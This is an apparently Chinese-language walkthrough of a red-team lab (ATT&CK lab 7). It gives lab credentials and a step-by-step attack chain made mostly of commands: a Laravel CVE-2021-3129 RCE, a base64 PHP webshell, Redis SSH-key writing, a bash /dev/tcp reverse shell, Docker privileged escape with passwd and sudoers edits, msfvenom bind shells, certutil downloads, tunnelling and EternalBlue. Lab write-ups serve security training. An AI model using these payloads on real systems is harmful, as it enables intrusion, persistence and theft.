ATT&CK(七)
ATT&CK(七)
Administrator:Whoami2021 |
web1 使用 web:web2021 登录
sudo redis-server /etc/redis.conf |
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf |
web2
sudo service docker start |
win7 Administrator:Whoami2021
C:\MYOA\bin\AutoConfig.exe |
laravel
nmap 192.168.1.0/24 |
81端口开放了laravel服务 这里也存在版本
searchsploit laravel |
git clone https://github.com/zhzyker/CVE-2021-3129.git |
这里可以看到有的脚本是没有执行成功的
这里看到rce5是执行成功的 因此我们修改命令写入马 这里我选择分两次写入 一次性写入会导致字符损失 猜测是由于 $_POST作为了linux中的一个变量
或者 base64编码一下
echo PD9waHAgQGV2YWwoJF9QT1NUWyd6ZiddKTs/Pg==|base64 -d > zf.php |
phpggc使用
git clone https://github.com/ambionics/phpggc.git |
./phpggc -l |
列出所有的链
./phpggc Laravel/RCE2 -i |
其中包含了生成攻击payload 所需要的参数
./phpggc Laravel/RCE2 system id |
对于只能满足写文件需求的组件 需要知道文件的绝对路径,例如目标网站的绝对路径为 /var/www/html 需要写入shell.php
./phpggc Doctrine/FW1 -i |
./phpggc /var/www/html/shell.php eval.php |
phpggc中的 -w参数还可以对序列化数据进行一个再次包装
在形成序列化数据之前调用其来更改序列化的对象,若存在以下漏洞点,接受参数为一个二维数组,那么我们需要对其中的message键对应的值进行反序列化
|
此时可以自己利用phpgcc 提供的 process_object($object),即data对应的值不是一个序列化的字符串,而data[‘message’]的值才应该是一个序列化后的字符串,这里只需要将要序列化的对象的值赋值给message,即可只用
|
这里将序列化的对象的值赋值给了message ,并返回为一个数组,然后在对数组进行serialize()函数处理,形成序列化后的数据
./phpggc -w array.php slim/rce1 system id |
尝试提权
尝试反弹shell但没有成功
find / -perm -u=s -type f 2>/dev/null |
find / -user root -perm -4000 -print 2>/dev/null |
这里的demo.c应该是shell的源码
这里的脚本执行了ps命令并且未使用绝对路径
那么尝试更改$PATH来执行恶意程序,从而获得目标主机的root权限shell
cd /tmp |
不过这里在写 环境变量的时候出现了问题 至于这里的问题呢 我们可以在后面发现其实是 nginx 的反向代理 这里我们就先去看 redis
redis 未授权
nmap 192.168.1.128 --top-ports 5000 |
这里可以看到开放了 redis 服务
wget https://download.redis.io/redis-stable.tar.gz |
下载redis 服务并编译
如果make出错 请更新 gcc版本
yum -y install centos-release-scl |
./redis-cli -h 192.168.1.128 -p 6379 |
可以看到存在未授权访问
公钥登录
我们写公钥登录试试
ssh-keygen -t rsa |
config get dir |
ssh -i /root/.ssh/id_rsa root@192.168.1.128 |
这里可以看到存在两张网卡 一张是 1.128 一张是 52.10
这里发现nginx服务
这里找到nginx的配置文件发现没有有用的
不过这里还包含了一个
这里可以发现是代理的 其中80端口代理的是 https://whoamianony.top/ 但是这里刚开始的时候访问80是不通的
这里改成我的博客试试
这里也可以看到81端口代理的是 52.20 的 8000服务 也就是说这里我们之前反弹shell出现的问题其实是由于52.20 不出网
上线web1(52.10)
use exploit/multi/script/web_delivery |
我们这里反弹shell 给web1
bash -c 'bash -i >& /dev/tcp/192.168.52.10/5555 0>&1' |
这里的话反弹shell就没有问题了 推测可能是蚁剑的交互式shell的原因无法执行写入 环境变量
提权web2(52.20)
环境变量提权
cd /tmp |
docker 特权模式逃逸
特权模式在 0.6被引入docker ,允许容器内的root拥有外部物理机的root权限,而此前容器内的root用户仅拥有外部物理机的普通用户权限
使用特权模式启动容器,可以获取大量的设备文件访问权限,因为当管理员执行 docekr run –privileged 时,docekr 容器将被允许访问主机上的所有设备,并可执行mount命令进行挂载
当控制使用特权模式启动容器时,docker管理员可以通过mount命令将外部宿主机磁盘设备挂载进容器的内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机上执行命令
hostname |
fdisk -l |
ls /dev |
cd / |
成功挂载
cd /wanan/home/ubuntu |
密码登录
成功获得ubuntu的密码
我们尝试从 52.10 直接ssh登录
ssh ubuntu@192.168.52.20 |
写公钥登录
另一种方式 我们写入公钥去ssh登录
52.10 生成
ssh-keygen -t rsa |
web1 开启http服务
python3 -m http.server |
curl -O http://192.168.52.10:8000/id_rsa.pub |
mv id_rsa.pub /wanan/home/ubuntu/.ssh/authorized_keys |
添加新用户登录
useradd -s /bin/bash wanan |
注意这里要用单引号
echo 'wanan:x:1002:1002::/home/wanan:/bin/bash' >> /wanan/etc/passwd |
这个需要提权
写sudoers提权
ubuntu提权知识 ubuntu是用命令行执行命令.在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件 /etc/sudoers 处加入普通用户放行语句,才可以让普通用户在ssh的情况下进行提权
echo "wanan ALL=(ALL:ALL) ALL">> /wanan/etc/sudoers |
cve-2021-3493提权
searchsploit ubuntu 4.4.0 |
git clone https://github.com/briskets/CVE-2021-3493.git |
定时任务
touch /wanan/tmp/test.sh |
df |
umount /wanan |
ssh流量转发(52.20)
1.128 转发 到 52.20的22端口的流量到kali的2222端口
新建一个用户
ssh -N -f -L 2222:192.168.52.20:22 wanan@192.168.1.128 |
配置socks代理转发
ssh -CfNg -D 7000 wanan@192.168.1.128 |
vim /etc/proxychains4.conf |
上线web2(52.20)
添加路由
route add 192.168.52.0 255.255.255.0 1 |
先设置监听
use exploit/multi/handler |
生成正向shell
msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf -o 20.elf |
scp直接传马到 52.20
scp -P 2222 20.elf ubuntu@127.0.0.1:/tmp/20.elf |
成功上线
这里可以看到还有一个 (93.10)
ew流量转发
run autoroute -s 192.168.52.0/24 |
git clone https://github.com/idlefire/ew.git |
1.129
./ew_for_linux64 -s rcsocks -l 1080 -e 1234 |
52.10
./ew_for_linux64 -s rssocks -d 192.168.1.129 -e 1234 |
vim /etc/proxychains4.conf |
这里配置完成了 但是还是 ping 不通 52.30
但是这里还是ping 不通 其中主要原因是防火墙没有放开 但是这里按照作者的逻辑 不应该防护 52.20 到达 52.30的流量 至少是8080
因此我这里选择把公共网络防火墙给关闭
重新测试成功访问到了
这里接着探测一下52 段的存活主机
use auxiliary/scanner/netbios/nbname |
上线pc1(52.30)
use auxiliary/scanner/portscan/tcp |
可以看到有一个8080 端口 这里我们先给burp 配置一下 192.168.1.129 1080 的上层代理
点击链接发现版本 为oa 11.10 版本
根据文章获得shell
https://blog.csdn.net/szgyunyun/article/details/107104288
POST /ispirit/im/upload.php HTTP/1.1 |
POST /ispirit/interface/gateway.php HTTP/1.1 |
echo PD9waHAgQGV2YWwoJF9QT1NUWyd6ZiddKTs/Pg==|base64 -d > zf.php |
certutil -urlcache -split -f http://192.168.52.10:8000/zf.php |
生成一个正向shell
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.52.30 lport=7777 -f exe -o 30.exe |
scp到 52.10 上面去
scp 30.exe wanan@192.168.1.128:/tmp |
在 52.10上面启动一个 http服务
下载下来
certutil -urlcache -split -f http://192.168.52.10:8000/30.exe |
设置监听
use exploit/multi/handler |
这里可以看到还有一张 93.20 的网卡
ew二级流量转发
route add 192.168.93.0 255.255.255.0 3 |
1.129
./ew_for_linux64 -s lcx_listen -l 6666 -e 8888 |
52.20
./ew_for_linux64 -s ssocksd -l 9999 |
52.10
./ew_for_linux64 -s lcx_slave -d 192.168.1.129 -e 8888 -f 192.168.52.20 -g 9999 |
vim /etc/proxychains4.conf |
proxychains ping 192.168.93.10 |
上线(93.40)
use auxiliary/scanner/netbios/nbname |
use auxiliary/scanner/portscan/syn |
use exploit/windows/smb/ms17_010_eternalblue |
能不能行全靠运气
上线(93.30)
这里在打域控的时候直接就蓝屏了
use exploit/windows/smb/ms17_010_eternalblue |
换一个模块去执行命令试试
use admin/smb/ms17_010_command |
传马
msfvenom -p windows/meterpreter/bind_tcp lport=7788 -f exe -o 93.exe |
把马传到52.20上面去
python3 -m http.server 8888 |
use admin/smb/ms17_010_command |
use exploit/multi/handler |
use admin/smb/ms17_010_command |
没反应
https://www.cnblogs.com/byErichas/p/16617154.html
https://www.cnblogs.com/chen-w/archive/2022/04/26/16194101.html
https://bbs.zkaq.cn/t/5415.html
https://blog.csdn.net/trytowritecode/article/details/124097458
https://blog.csdn.net/weixin_44830645/article/details/124247090
https://article.itxueyuan.com/8KpOww
https://blog.csdn.net/trytowritecode/article/details/124097458
https://www.163.com/dy/article/GSII62P60538S33I.html
https://www.cnblogs.com/wkzb/p/14877913.html